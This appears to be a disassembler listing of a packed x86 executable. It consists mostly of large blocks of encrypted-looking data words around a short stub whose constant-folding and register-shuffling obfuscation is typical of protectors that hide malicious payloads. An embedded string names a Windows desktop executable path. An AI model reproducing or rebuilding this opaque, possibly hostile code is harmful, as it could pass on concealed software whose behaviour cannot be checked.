		dd 0D1592127h, 367F8878h, 36C58023h, 12C01623h,	0D1374627h
		dd 1B38B3EAh, 1272E0D8h, 120FE970h, 4D260127h, 6E8A5EE4h
		dd 56000503h, 12DC0503h, 45270127h, 7C1D3CE4h, 0A176846Ch
		dd 786DBB1Ah, 11EE5727h, 32030127h, 9BDFC279h, 93C42553h
		dd 6642563h, 54300127h,	0A123C271h, 86B18C0Ah, 9F001969h
		dd 0A53EEAAh, 91F5B921h, 97F300B5h, 147321AEh, 786CCE0Ch
		dd 11EE5327h, 32030127h, 9BDBC27Dh, 93C42573h, 5642563h
		dd 50300127h, 5E98375h,	0C08BA4F3h, 31359531h, 6A0613h
		dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 150424h, 53430000h
		dd 66FBACC3h, 0BD8BF38Bh, 613117Dh, 27E9C38Bh, 74000000h
		dd 75D23Ch, 8 dup(0)
		dd 0DAE90000h, 2A000005h, 361CBA9Ch, 260CAAA4h,	381AB892h
		dd 2709A9A7h, 291CBA9Ah, 0FC58E506h, 0E66CFCDEh, 0FB4DE2C8h
		dd 0E864F5DBh, 0AFDE01CAh, 16B60633h, 0BDB9A5FCh, 0BF8B1D6Ch
		dd 0B10E6FAEh, 0B5035F8Eh, 49CC109Dh, 4FDEE07Fh, 0AD81A605h
		dd 32BE5B02h, 0FE91AB10h, 0C29B107Bh, 63F6DCFAh, 0E37658E9h
		dd 0F86D4A69h, 109DEA9Eh, 4F9E2667h, 7CD0BB0Bh,	7F1E7FCEh
		dd 84F57DEEh, 0BD0E7BCEh, 5F43C293h, 50B180D0h,	1CAF9131h
		dd 1BAB8F2Ch, 0F5CA0F6Dh, 1602B82h, 0C907D130h,	409ACBECh
		dd 9109E9Ah, 0C51A3C84h, 9A3690C5h, 9EFF109Eh, 0DC6C6EFFh
		dd 7FF1E776h, 4503580Ah, 0F6F74166h, 228DA425h,	4396BC9Ah
		dd 48C93809h, 84109E04h, 0A4C1D33h, 15C697B9h, 92796CDDh
		dd 0EED483F8h, 2160F15Bh, 0A5713F97h, 56D9A341h, 7D000000h
		dd 8E1D6CBDh, 93A2B2FFh, 0E3721372h, 9DB53692h,	0AA1FAB10h
		dd 41EAB282h, 27354A3h,	109DC088h, 9D04CC51h, 0Eh, 72EC213Eh
		dd 3B109DC0h, 0E664F8DAh, 6DBD84DEh, 4EE0C2E1h,	8D03100h
		dd 69E57559h, 0EB65F6D8h, 0F089095Ah, 805EF042h, 6545075Ah
		dd 0E470BDCBh, 6DE17155h, 0BEE936DCh, 0AE4666D2h, 36D0180Ah
		dd 94C00DC5h, 0C8C11436h, 786D775h, 61F3D766h, 429158E9h
		dd 0B382D060h, 8B008A52h, 41FE8361h, 922BA3h, 0BD0F0000h
		dd 0D4092670h, 109DB57Ah, 3793C243h, 6B109DB5h,	0A4E976DEh
		dd 36C1E6C5h, 0D712E65Bh, 84C61ABCh, 0DD8C54B5h, 52E367F9h
		dd 6AFCDE01h, 8F3455E4h, 0AB29DBD7h, 6BA52FA5h,	0FC9524CEh
		dd 55B12468h, 1E109DE0h, 4ECF9EFFh, 1CA98F2Fh, 2AB79B38h
		dd 0FF43A22Ah, 0C891A0B0h, 0C19FCD3Eh, 69A341C3h, 4Ch
		dd 77D5684Ah, 0C31DA7E6h, 55E470BDh, 4D035476h,	4AFE5183h
		dd 2807D8FBh, 9DB559B5h, 0BFE32210h, 3051E070h,	35ED5EA8h
		dd 0B40EACA8h, 1190DDC2h, 2293BC78h, 2826B89Ah,	7E69E819h
		dd 68E2109Eh, 23EBA9D3h, 153A341h, 0E7000000h, 4EE0C2h
		dd 0A86C0A31h, 58547298h, 0B9DAF39h, 992C2E3Fh,	44AEA2B3h
		dd 0A53A20C7h, 697392A3h, 5675D567h, 6C8A0479h,	3253109Eh
		dd 756CACAAh, 6CA82253h, 2C71109Eh, 66516E4Dh, 3F62D19Eh
		dd 0EA19A352h, 168F80FBh, 0ABA5361Ch, 0F4717B9Ah, 0BC103291h
		dd 0A8A7468Eh, 0A9A4577Fh, 0F0F806D2h, 0A1014BDEh, 4F1E2E7Fh
		dd 8B0B62BEh, 94B9A0Ah,	8AC41638h, 8E2B65BBh, 9FFE54E4h
		dd 6D25963Ch, 331FADDCh, 3C0D3D8Fh, 411EBCDDh, 0B73EF1Eh
		dd 0D93C0A8Bh, 0E06CBD0Fh, 70DC6D51h, 6F886C53h, 0E5E96598h
		dd 53B20A8Ah, 0D5F6056Ch, 1CB65C0Bh, 0EA62F39Fh, 0BDA070CCh
		dd 65425AACh, 8B0F96F0h, 0D805F0Ah, 0A8B0F91h, 925A3B5Ah
		dd 1550Bh, 0DDC22F00h, 21AFCD64h, 0BAE12031h, 666ED65Ch
		dd 58770F5Ah, 8F35C025h, 0E2715916h, 1C3E0F6Eh,	0FD2383C9h
		dd 0AD91A0ACh, 0B493301Ch, 1FE86293h, 6CB10A8Bh, 8B1FA1FDh
		dd 0A12B6A0Ah, 3DCE3C42h, 0BA183485h, 2B27B59Dh, 84D7FB1Ah
		dd 9464FCC4h, 3C5AAC81h, 70h, 0BAE5C222h, 7D435DD5h, 0B22C5DEDh
		dd 7B109EA3h, 998BB51Ah, 15A1C181h, 47786FCBh, 47956F6h
		dd 109E338Ah, 74533253h, 6FDF6F53h, 0CA8C2665h,	70956F62h
		dd 78416C53h, 92CB40CBh, 96BC9B4Ah, 0D9380943h,	0C716700Fh
		dd 5618909Dh, 0B6CC13E5h, 67113619h, 1214B592h,	66E015B2h
		dd 2F909E70h, 0BA7E6EEh, 14EF6307h, 8FF6D1F1h, 5C000000h
		dd 0EBC8BEA3h, 8EA18F7Ah, 44157816h, 3D9DAF02h,	0B382CA1Bh
		dd 8AA0C142h, 0D6B0010Ah, 0D1883584h, 0C998F95Fh, 46173385h
		dd 0F850E3C7h, 0FF7CF669h, 486AB516h, 0F7915BF9h, 0CF7DD082h
		dd 9BAAFEFh, 0ACADD2BCh, 0A777376Bh, 0FA50E4C6h, 88C93C9Bh
		dd 0D91072BCh, 10A1A5B4h, 39930F7Eh, 395C0472h,	99D30958h
		dd 75115820h, 4517956h,	41103C8Dh, 7190A1C0h, 6AF91867h
		dd 9DBA0A5Ah, 59E7EE68h, 4593B7FEh, 0F84A6C0Dh,	0BCE18E56h
		dd 0E0C2C41Eh, 6B6FFE4Ch, 0A2E372DAh, 0A4BDF9C3h, 0BDE2C5E2h
		dd 0DABFB659h, 4BC736BEh, 14109DC7h, 0B94890F1h, 1685F898h
		dd 0FF53E1E9h, 0A2FC716Eh, 6B0A8575h, 1B2A4B2Ah, 8A6A637h
		dd 1EBD8F22h, 1E19FD39h, 7ADCC38Dh, 0F14668DFh,	0AFDE8D57h
		dd 5D3F20D3h, 0F6A11A58h, 8B2AA4D9h, 92F396BAh,	0F6EE0E2Dh
		dd 0D9E344F7h, 0C8E666F7h, 0CE3F4FE2h, 96BA4D54h, 4CFE588Dh
		dd 46C796BAh, 64F594F9h, 607FD162h, 5E78BA77h, 9058E97Eh
		dd 0F891FBD1h, 6697F74Ah, 96B9EBECh, 0AEBF8D20h, 0DCBDE06Fh
		dd 0C389DCFEh, 0B66A5572h, 9BDB624Eh, 3EAF5FFh,	48000000h
		dd 71BDE17Bh, 0DF7254E5h, 65FADC6Dh, 0E07052E3h, 52DFE372h
		dd 0C20F3302h, 307FC392h, 9B2D1120h, 2ABC9EAFh
		db 24h,	15h, 22h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	ecx
		mov	ecx, 3FF75205h
		xor	ecx, 0A983DECh
		neg	ecx
		xor	ecx, 44545A9Ah
		xor	ecx, 40F228D2h
		sub	ecx, 0CE36E25Bh
		add	ebp, ecx
		pop	ecx
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		push	esi
		mov	esi, esp
		add	esi, 4
		sub	esi, 4
		xchg	esi, [esp]
		pop	esp
		mov	[esp], edi
		push	edx
		mov	edx, esp
		add	edx, 4
		sub	edx, 4
		xchg	edx, [esp]
		pop	esp
		mov	[esp], edx
		sub	esp, 4
		mov	[esp], eax
		mov	eax, 139B6AC5h
		add	eax, 0F27CE6A8h
		mov	edi, eax
		pop	eax
		push	esp
		mov	edx, [esp]
		add	esp, 4
		push	ebp
		mov	ebp, edi
		push	edi
		mov	edi, ebp
		mov	[edx+8], edi
		pop	edi
		pop	ebp
		push	dword ptr [esp]
		pop	edx
		add	esp, 4
		mov	edi, [esp]
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		jmp	loc_58442C
; ---------------------------------------------------------------------------
		dw 1C9Bh
		dd 1C3B41A8h, 257AFA48h, 0B26FA382h, 5695B8E2h,	0C5030618h
		dd 1C36E0FFh, 8D967F3Fh, 0A59E77C4h, 60334C2Ah,	0ED1F2928h
		dd 5563125Eh, 5FDD4BEFh, 98287724h, 37866A34h, 7D766FA3h
		dd 0A8735EADh, 5EEC7895h, 0CDB03725h, 5B120CE7h, 0E4CB6470h
		dd 843E151Eh, 380B14AAh, 364C7830h, 57CA4F3Bh, 0AFF87939h
		dd 0CDEC0A28h, 0BAC76529h, 0D230C70h, 0EE2C256Bh, 0B38E2278h
		dd 0E4C70F5Dh, 4B656BC5h, 1E567226h, 1F6444E6h,	0CB2E0EC0h
		dd 0C7C46934h, 292C18E6h, 8D8D37B5h, 61858F0h, 0E855006Ah
		dd 3, 5DC35D20h, 4246C89h, 4244481h, 1Ch, 0C6C35545h, 420B045Eh
		dd 0E29EB7B2h, 1161B58Bh, 8D890613h, 6131BBDh, 0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 1Ch, 2AC35242h, 0F8B8B7FCh
		dd 0B684916Ah, 18DD85C7h, 64CC0613h, 6A0000h, 3E857h, 5F200000h
		dd 7C895FC3h, 44810424h, 160424h, 57470000h, 0C4DA06C3h
		dd 2B418501h, 85C70613h, 6133055h, 0
		dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 1Ah, 0ECC35747h
		dd 2E773A5Dh, 0FB8BDD75h, 2831B5FFh, 6A0613h, 3E857h, 5F200000h
		dd 7C895FC3h, 44810424h, 140424h, 57470000h, 8F0FD6C3h
		dd 7, 0C7816657h, 0FF5E40AFh, 131D8995h, 51006A06h, 3E8h
		dd 0C3592000h, 244C8959h, 24448104h, 1D04h, 0C3514100h
		dd 29EC5AF7h, 7F2AB72Eh, 820F877Dh, 0
		dd 6AF9B70Fh, 0A995FF00h, 8B06130Dh, 4F2FEBC0h,	0CF6CAAADh
		dd 0FEBAACAEh, 0CD804892h, 0C065C51h, 49C127CCh, 0FC33B55Dh
		dd 7F55846Eh, 0D448A6BEh, 67384E7Ch, 0EFE05D82h, 199376E6h
		dd 8D8D0CFCh, 61859F4h,	0F59D2956h, 5806130Bh, 1BBD8D89h
		dd 0B5010613h, 61331DDh, 18DD85C7h, 5E280613h, 6A0000h
		dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 140424h, 51410000h
		dd 0FE97AC3h, 0B2000000h, 59A143AFh, 5C14FB1Bh,	0BA0F17Bh
		dd 85C771FEh, 6133055h,	0
		dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 1Bh, 0F3C35242h
		dd 0DD566C03h, 0B06A46BDh, 0FF39B6C5h, 13125DB5h, 53006A06h
		dd 3E8h, 0C35B2000h, 245C895Bh,	24448104h, 1C04h, 0C3534300h
		dd 3FEA119Ah, 7118D484h, 0E9852B75h, 0FF061334h, 131D8995h
		dd 8810F06h, 51000000h,	8B4BDB81h, 6A5B31D3h, 0A995FF00h
		dd 8B06130Dh, 0DF08EBC0h, 0F942D090h, 0E9F92C04h, 0B0h
		dd 0DA8C6660h, 0F04C2F6h, 0C85h, 6D853B00h, 0F061311h
		dd 3684h, 0D1853B00h, 0F061310h, 2A84h,	0C9853B00h, 0F061307h
		dd 1E84h, 0CD853B00h, 0F061314h, 1284h,	75BD8300h, 106131Ah
		dd 5840Fh, 5FE90000h, 8B000000h, 3C5203D0h, 88BA8Bh, 4A8B0000h
		dd 0FC98578h, 4984h, 0F8C28100h, 8B000000h, 0C8030C72h
		dd 8B1C598Bh, 0D8031451h, 0C9850B8Bh, 10840Fh, 0CE3B0000h
		dd 17820Fh, 0CF3B0000h,	0F830Fh, 0C3830000h, 850F4A04h
		dd 0FFFFFFDCh, 0DE9h, 8D9D8D00h, 0B806134Fh, 5,	0C361E3FFh
		dd 9D8DD00Bh, 6133005h,	0CEB8h,	99858900h, 0E8061325h
		dd 0
		dd 0D0558h, 3890000h, 0CEE9h, 0F2000000h, 32h dup(0F2000076h)
		dd 0E9FFFF76h, 8Ah, 5BCFDE32h, 445C3A43h, 6D75636Fh, 73746E65h
		dd 646E6120h, 74655320h, 676E6974h, 614D5C73h, 6D697472h
		dd 72614320h, 656E6F62h, 7365445Ch, 706F746Bh, 6169445Ch
		dd 2E676F6Ch, 657865h, 12h dup(0)
		dd 3DE90000h, 6800000Eh, 6185DBEh, 0FBEB43E9h, 5EAA68FFh
		dd 39E90618h, 68FFFBEBh, 6186047h, 0FBEB2FE9h, 608668FFh
		dd 25E90618h, 68FFFBEBh, 6186128h, 0FBEB1BE9h, 61C268FFh
		dd 11E90618h, 68FFFBEBh, 6186566h, 0FBEB07E9h, 67E968FFh
		dd 0FDE90618h, 68FFFBEAh, 61868D1h, 0FBEAF3E9h,	0C3EC0EFFh
		dd 5758B5DDh, 0C8E3F969h, 5B54AADAh, 0CBD4FD65h, 0D775E9D5h
		dd 473BA5FAh, 0DD85FBB0h, 9FD3ADFEh, 6E806249h,	0B4B622AAh
		dd 8986428Ch, 4A61773Ch, 0CEDDFB89h, 0E641DBF4h, 0F64FDA72h
		dd 0B3D3EA1h, 24EB6C6h,	0AF4EBD78h, 2CC1D300h, 27974E83h
		dd 0A189F81Ah, 0B04CC498h, 0F604B6FBh, 0CA067786h, 411B48h
		dd 272B0000h, 780A359Fh, 708B03BDh, 8644763Bh, 93FB6174h
		dd 0C3EC0174h, 60FAF305h, 0C2B951C5h, 0C03EA1BDh, 0E7E9A7Eh
		dd 0BD783C9Ah, 0A9AA3072h, 783CAD13h, 0C992B8BDh, 0CA24AA59h
		dd 0C8F048h, 0FBA50000h, 0EA7486E3h, 0DEFC9908h, 985952B6h
		dd 0E2CD20B0h, 0D33FD931h, 5440712Eh, 53C545B4h, 294494B2h
		dd 1D87FFF7h, 0EB4494B2h, 0D707EFB9h, 10656413h, 0A3B04AFFh
		dd 0EED4D731h, 9498C17Eh, 0FAB14744h, 0AFFCDC88h, 752AC747h
		dd 0A7C16E63h, 11FC8C8Ch, 73EA1A6h, 48D2EBD5h, 0CC546CF7h
		dd 4A801EC8h, 0FE533ECEh, 1749C74Dh, 4D52AF1Fh,	0BDE2FF73h
		dd 3C39CCh, 64654E71h, 0C09h, 0E8DAD535h, 744E617Ch, 0E1BFEC00h
		dd 70525DB1h, 0E0C2DD04h, 0F3DE7EF0h, 0A94E36ACh, 17F4A002h
		dd 0A2462E94h, 41459709h, 8CB55FC9h, 15402D42h,	5B455A77h
		dd 5EDAD127h, 0E866D27Ah, 14564494h, 0E46C9C06h, 906AA704h
		dd 48D24B8Ah, 455D79DDh, 3B511863h, 0A9E1F763h,	3EA1F4B2h
		dd 0B3A54E90h, 26EBC01Bh, 70E464D4h, 48BD79F5h,	10880416h
		dd 0DBD79F5h, 5B4242Dh,	4948CBEDh, 0A5h, 4A6177FAh, 0C9D6FB89h
		dd 60E00008h, 0B410A62h, 68157583h, 624494E9h, 85931CF2h
		dd 0E2C0EB0Dh, 0E15556B2h, 0F2299071h, 68D4AA4Dh, 0F3E0FAB0h
		dd 0F07223Ch, 0A12A9477h, 6240823Eh, 0DD52F38Dh, 601C71FCh
		dd 0A42414D6h, 0C74D6658h, 0DBD028A0h, 48A9290Dh, 0DA609A57h
		dd 0F4AB56BEh, 0A4FBE68Eh, 0FFA38827h, 0F792BD70h, 0B1Dh
		dd 0FCE6C921h, 483A7588h, 0F5EBC01Ch, 643E718Dh, 0F4CED130h
		dd 2FD24ABCh, 85621270h, 33C8BC26h, 7E5A0A78h, 9579532Dh
		dd 8CB683F5h, 418C7942h, 5B455A77h, 0E8DAD127h,	4A6177BDh
		dd 0D8D896CEh, 1DDD0FFEh, 2ACEB61Bh, 0DBF71F81h, 94B8F96Bh
		dd 8B8DCF44h, 0E94DD862h, 298265EDh, 0A0B87B0Fh, 92023EA1h
		dd 8B7D3675h, 79D989FBh, 8B3D7FBDh, 1ED3156Dh, 79D936AEh
		dd 3E0B33BDh, 0CBC13FCEh, 76348h, 6C300000h, 7D9h, 0DD48D245h
		dd 0F5F6D179h, 0D8783EA1h, 0F38FA906h, 749400B1h, 8C2ED01h
		dd 9D0EEA9Ah, 2EBCE474h, 48D94D0h, 5D7D0D2Bh, 3CA4BC21h
		dd 58CC3C58h, 30D63C2Fh, 4A8724B8h, 3EA03A70h, 91416135h
		dd 1BBD1B65h, 65830F29h, 0F91D7160h, 8446BCDCh,	0D0DBFC94h
		dd 4CACD84Ah, 0A31AB25Fh, 0AAD63CC6h, 7187DFECh, 0BC1C483Ah
		dd 47CAC2EFh, 45776EBEh, 4ACE039Ch, 3CC656C2h, 0F0E426D6h
		dd 5F628F1Ch, 6EDEB2BFh, 0D63CC6FAh, 7A5A90D2h,	21B70FDCh
		dd 0FAECF8A4h, 0AC0B164h, 0B90CEC98h, 0F40722B5h, 0D300CA4Bh
		dd 7B24CD45h, 3BF6905Dh, 98404BBBh, 0F436AC09h,	2106F58Eh
		dd 9C2C2C07h, 0B23482C5h, 0ED9D0143h, 8027EF64h, 0A942B3CDh
		dd 0B850C802h, 96D075ADh, 37E8295Bh, 7616022Dh,	9CC1695Dh
		dd 278463CBh, 0FBDD75E1h, 31C703B0h, 0A00BED65h, 8F8ED642h
		dd 5AA65718h, 16F222B8h, 0F21F8C5Fh, 67A10AE2h,	217928A1h
		dd 0DDC61970h, 980DCh, 931CBE00h, 7A8452Dh, 9813E999h
		dd 0BA43A2Ah, 9B04ED95h, 7857925h, 97CBB5EAh, 0D756B40h
		dd 0AFE3BDEEh, 5E705259h, 88A612BAh, 9996428Ch,	4A61776Ch
		dd 2829AA41h, 0ADCCF77Dh, 941h,	0F0D2DDFDh, 5C466984h
		dd 0E9D7D428h, 584A6579h, 0E8DAC52Ch, 1BC646B8h, 91761E84h
		dd 1FBCA81Ah, 8A6E168Ch, 692DBF21h, 8C8877E1h, 0FD484542h
		dd 894A6177h, 0D7C9D6FBh, 5CE651BAh, 9EE565D1h,	6C3EA1FAh
		dd 6316463Ah, 44FDE4DDh, 7F07EF3Ah, 68E65F4h, 3C58C002h
		dd 889D58CCh, 0ECEE3076h, 32E38E7h, 795E7313h, 0E4C80C83h
		dd 9111F064h, 0A6F9D868h, 3A1EEC1Eh, 0A869429Ah, 40D0C852h
		dd 799D03A8h, 0E68BB629h, 90ED3A89h, 0C3D59497h, 7F1325E3h
		dd 84494269h, 0F9A92DCEh, 89FBBCEh, 4B9F0000h, 0F7167E64h
		dd 429ACAB8h, 0F30B7769h, 339EC6BCh, 0D44A766Ch, 9C069938h
		dd 269C0FE8h, 0B40E9D3Eh, 1D8328C0h, 0D53FC7CFh, 0A3428C89h
		dd 61775FA6h, 0E0FB894Ah, 53A5D5CBh, 3D4494E8h,	44C439D5h
		dd 4494E8D0h, 7F3476A8h, 0A6C0AD4Bh, 57FB8B8Bh,	653EAD34h
		dd 73E56571h, 49BD734Ch, 4C219317h, 0E517BD73h,	9F87AF53h
		dd 25A039B6h, 1314EF1Ch, 4583ED33h, 0DDFB9383h,	6880F4CEh
		dd 0A8A8E43h, 0C1F9BAF1h, 0A9F6DB37h, 2C7F5C68h, 0F5FF89Fh
		dd 47426D77h, 805h, 0B40EA139h,	20822DC0h, 0AD139874h
		dd 1C8629C5h, 0AC168968h, 678A02F4h, 0BD1A4A38h, 0BE094EEh
		dd 0B65242A0h, 4D318BF5h, 8C894BBDh, 0F9444142h, 0DD87E3FBh
		dd 0F4870EE9h, 614AAEE6h, 0E7C424B0h, 0E6F3932Ah, 5F416A8Eh
		dd 0B0C517B7h, 6B9F5457h, 8496749Dh, 266AC9F8h,	4EF8DB1h
		dd 0FB460000h, 81327993h, 0A4BEAF49h, 9898D89h,	0C3F7BCEFh
		dd 34BDD535h, 79AB3EADh, 0B8F3157Dh, 923A1ECAh,	0BD734D26h
		dd 2946D416h, 0AA2A0E11h, 77DC5E4Dh, 0DF59D805h, 46133B92h
		dd 5DD427D6h, 326B31h, 0D2180000h, 0D373E346h, 4494E861h
		dd 5CEC2557h, 88920DF4h, 2E0AD004h, 0DCE54524h,	0BE715D6Ch
		dd 0E016Eh, 7D150000h, 67A3505Bh, 0BE6C82D1h, 45000001h
		dd 2EE346D2h, 38FC619Eh, 9B10E76Bh, 0EE5AF256h,	0DEC2077Ch
		dd 0A0C928ACh, 68A95F4Ch, 0F315DE7Ch, 14E8688Ch, 0EDB8197h
		dd 0B5646F9Eh, 333337h,	0D2E00000h, 9E2EE346h, 6B38FC76h
		dd 9CAE106h, 5EF902CBh,	553DBE2Fh, 0B6BBF8B3h, 0CF774B18h
		dd 0C2079465h, 0E8D71153h, 0FA097942h, 0A037B590h, 68h
		dd 3146D275h, 94E82F99h, 1DEB1D44h, 0E8279139h,	0D3154494h
		dd 9E0DEB63h, 8C839575h, 88D2F54h, 0EA198952h, 0B0B12651h
		dd 3Ch,	0A0C928A8h, 93A56348h, 0E346D240h, 0E863D373h
		dd 13554494h, 47E7126Bh, 2DDC4C15h, 71B126ECh, 18h, 1036C22h
		dd 58880000h, 8F6B2D0Fh, 77F77B0h, 44943B9Dh, 0B49F396Bh
		dd 0AC6Ch, 46D24500h, 2E2A2EE3h, 94E82A9Eh, 5AE02244h
		dd 652B21B2h, 955EFC8Fh, 89519625h, 5ABC1Bh, 0D2890000h
		dd 0DB73E346h, 6D29AFFCh, 94E86BDDh, 0F21F6144h, 74BD42DAh
		dd 0F2FF5F24h, 0F9237382h, 30176Eh, 0FBEC0000h,	0FD8273E3h
		dd 0A33F7FEBh, 0EA0D61E3h, 155AE0CBh, 96362205h, 44944422h
		dd 912BE81Ah, 5774110Bh, 0BB2B3816h, 23C6930Ch,	752h, 726C0300h
		dd 45000000h, 894A6177h, 94E88CF3h, 39728A44h, 0BBF00C78h
		dd 3DD0C4F6h, 0AC324172h, 322C7D9Fh, 0C9415529h, 4494E85Fh
		dd 0B5DDFB2Dh, 70E05853h, 9A08129Dh, 0E346D22Bh, 547262BBh
		dd 35D93902h, 694494DDh, 258665EDh, 78EC5CECh, 50BB6B1Bh
		dd 0BE3EDC0Eh, 4ED91F0Eh
		dd 0FFFF2D52h, 0CE6C03FFh, 88000002h, 0FDB6E908h, 73356A87h
		dd 931CB54Fh, 5CDE2FD8h, 4A6177F9h, 0CEDDFB89h,	0E641DBF4h
		dd 0FEE6672h, 0A7F29AA0h, 553EA1F6h, 76EEDE13h,	73BD7801h
		dd 7F8EFECBh, 2348CA05h, 5Ah, 6F17FBF0h, 4494E805h, 4627B1F3h
		dd 1105F13Ch, 94E80F79h, 6C95FD44h, 0B3637533h,	0A1BD2C13h
		dd 22AAAE3Eh, 0BD783BB6h, 7B387796h, 0F701433Fh, 2688738Bh
		dd 2F4BE88h, 0B710BC8h,	16BD7800h, 0CBB2B38h, 5248CA18h
		dd 0E8h, 0CE2FCE46h, 780CCA3Eh,	4A80C2BDh, 6177A5B0h, 0D6FB894Ah
		dd 5C7C08C9h, 26B7BE19h, 38724889h, 0B5534172h,	34309610h
		dd 60AA6ACEh, 0DDFE9682h, 3DE525CEh, 49A9201Bh,	6B9F39E4h
		dd 44941D32h, 0C9B7F414h, 74896AF4h, 0D444763Bh, 941BC034h
		dd 4486B844h, 0B4D634D4h, 72663EA0h, 7FA46EDAh,	1F906EBDh
		dd 2BD761A3h, 0FD19FDF9h, 7FA41B8Dh, 0EDC851BDh, 0A3A07584h
		dd 0B75BDD1Fh, 5191851Ah, 3E65F8E7h, 0A4FBE676h, 0CB4D9B6Fh
		dd 0DBC42D55h, 13E41BCEh, 0A7FA877h, 461h, 0D0B2FDDDh
		dd 7C6649A4h, 0C9B7F408h, 786A4599h, 0C8BAE50Ch, 0FBE666D8h
		dd 0B1563EA4h, 0FFDC88FAh, 0AA4E36ACh, 494D9F01h, 8C8D57C1h
		dd 0DD282542h, 5B455A77h, 0E7C423ABh, 8427C151h, 815AFA1Eh
		dd 81773144h, 509AAB78h, 82D167A3h, 0F0986177h,	4494E884h
		dd 3B783274h, 4A745CDh,	2CA315CFh, 4A492831h, 0BE1A7A80h
		dd 203A93EDh, 40713ECFh, 0BCD8408Ah, 161CDCA4h,	8A6DCB19h
		dd 0D01AF021h, 36705C34h, 23B523C7h, 0A106E4E7h, 6390D23Eh
		dd 55F5E1F5h, 0BD7933E3h, 0B123A7D9h, 97BD7933h, 54A66B40h
		dd 800C0E50h, 0BD79331Ah, 4E222FEFh, 3356C24Ah,	0E426BD79h
		dd 57FC5340h, 25B324ABh, 21BD3E48h, 63A5658Eh, 0CA7853F3h
		dd 2C5EC74Ch, 0CCADF42Ch, 2CF67C65h, 4E0C289Ch,	2CDE20B7h
		dd 213B940Eh, 0D07A1206h, 50CD77D0h, 47AA2A0Eh,	0D95F9B58h
		dd 0F4B755BDh, 0EEA6A8Eh, 8496749Dh, 5660AA08h,	169576A9h
		dd 53ADACh, 6F840000h, 4494E809h, 714FDA62h, 61DAEB01h
		dd 7A5F1DD5h, 0BDD93D8Bh, 945FDB4Dh, 696FB144h,	5FE05468h
		dd 0C1C74494h, 0E5F3BC51h, 0FA126A77h, 0A727CFB1h, 2C985956h
		dd 0D832DFCCh, 6F8C0812h, 0CBC7E806h, 852E7C33h, 945F9007h
		dd 0FDC8244h, 198724B7h, 116477AAh, 0BDF6B4F7h,	7F7734C7h
		dd 0F1CAFF0Fh, 0D9B66D40h, 4F849654h, 1DBA5A3Eh, 9D28C8Eh
		dd 6F515AB1h, 7F60787h,	9468157Fh, 67A1E344h, 7BD739D1h
		dd 0B0B4494h, 8F446B83h, 0AF5D9D3Bh, 0F1B12681h, 0FFFFFF67h
		dd 4A6177A2h, 0CEDDFB89h, 3441DBF4h, 94E82094h,	24E61844h
		dd 0C2D9EC34h, 4F33F349h, 0EA3DCDC9h, 0A03EA1D4h, 2BA3B55Eh
		dd 0E218D9C6h, 0E44CB458h, 0F159BD79h, 0E04978E8h, 230D48CBh
		dd 0C6000000h, 56A748D2h, 1FA78F59h, 3EA1BD38h,	7D0FC406h
		dd 0BD783B07h, 0BF2F3C22h, 48CA2330h, 0B656h, 0E3FB2F00h
		dd 79BD21B3h, 0A641315Ah, 0ECEECC05h, 965B50A8h, 17DCC32Eh
		dd 0B3604BADh, 74E4C721h, 66AB00DCh, 601C8694h,	4494DB3Fh
		dd 0C6BCEF09h, 40713A9Eh, 7A438D8h, 0C762FCF1h,	8B2B0F4Fh
		dd 0C236289Dh, 4DE86038h, 3B3EA1ACh, 5FD49123h,	8C3E5610h
		dd 74BFC916h, 0BCEF0C84h, 6135C3F7h, 4DAC9FE9h,	0BB3B6DC7h
		dd 8FF1AE53h, 28A1FEE3h, 71006E4Bh, 0DEBACFF8h,	60000001h
		dd 0C7BB258Ah, 5B077936h, 0CCB82A81h, 6F237D32h, 0FBB30D92h
		dd 2F70910Bh, 0E5C62151h, 377487FBh, 0ECBF1949h, 0A820E8F6h
		dd 428C8F3Ch, 77F61F0Ch, 275B455Ah, 6649A4D1h, 0D2973EA4h
		dd 0D179DD48h, 3EA1BDEAh, 4F6DA6D8h, 0BD783CE9h, 840410F4h
		dd 0BD783C10h, 0BA24B6E8h, 24B241B1h, 0C2D848CAh, 0AD000000h
		dd 377493FBh, 149771A1h, 452979DFh, 0DD31571Ah,	19A1952Dh
		dd 0DEEF9833h, 8619B85Ch, 0AE53BB4Dh, 5DC73Fh, 0F92B4494h
		dd 0BCE129AFh, 8A44940Dh, 2F633D6Eh, 0E21D2D9h,	0CD3DB974h
		dd 3EA13D6Ah, 0EB04DE20h, 0F262D651h, 9D5D9615h, 180B7B9Bh
		dd 82C74DF4h, 0CEA4A062h, 3CBEA48Eh, 32A296C8h,	6C68D0CFh
		dd 4CC968DCh, 3860B7h, 1269BAEFh, 356B6D3Bh, 6EFBA44Dh
		dd 710099A7h, 0F656735Ch, 48000000h, 0EFA3FDB2h, 432F911Eh
		dd 0F4A002A9h, 372B951Ah, 239B059Ah, 67389933h,	0BDEE0979h
		dd 4F5CAFE3h, 0C4E70171h, 800810DEh, 428C8014h,	779EE7E4h
		dd 275B455Ah, 0F65EDAD1h, 20829817h, 4A6177B5h,	0CEDDFB89h
		dd 0E641DBF4h, 72E66672h, 4A4494E8h, 76160218h,	3EAD34A8h
		dd 0EFE50E50h, 2E815C19h, 0AEFD0F85h, 0C503C505h, 5A51A7DBh
		dd 179876DEh, 9A11EADAh, 0F389CA50h, 7E39F128h,	6AC28F2Fh
		dd 1D391D8Eh, 9B073BADh, 0B325A5D8h, 89D89B07h,	0DF674B57h
		dd 0D89B0775h, 31C70143h, 466583EFh, 9F42D2h, 13EBD9FAh
		dd 824C579Ch, 61F1E5B9h, 39AB1F80h, 0FD89B07h, 0AA674497h
		dd 14809A50h, 1DC9B7F4h, 7279139h, 0D315D89Bh, 0CE2BCD45h
		dd 9B07CA3Eh, 702FD2D8h, 0BBF8B2F4h, 57C1494Dh,	25D89B07h
		dd 0BF713FE3h, 9E760037h, 3ED9Ch, 40C40000h, 4C637759h
		dd 0D0DBFD87h, 515AB123h, 0D8D334A0h, 5748A91Bh, 0D8C72A9Ah
		dd 5A55A91Bh, 0DAD12B99h, 5D52AB19h, 886852B4h,	89000023h
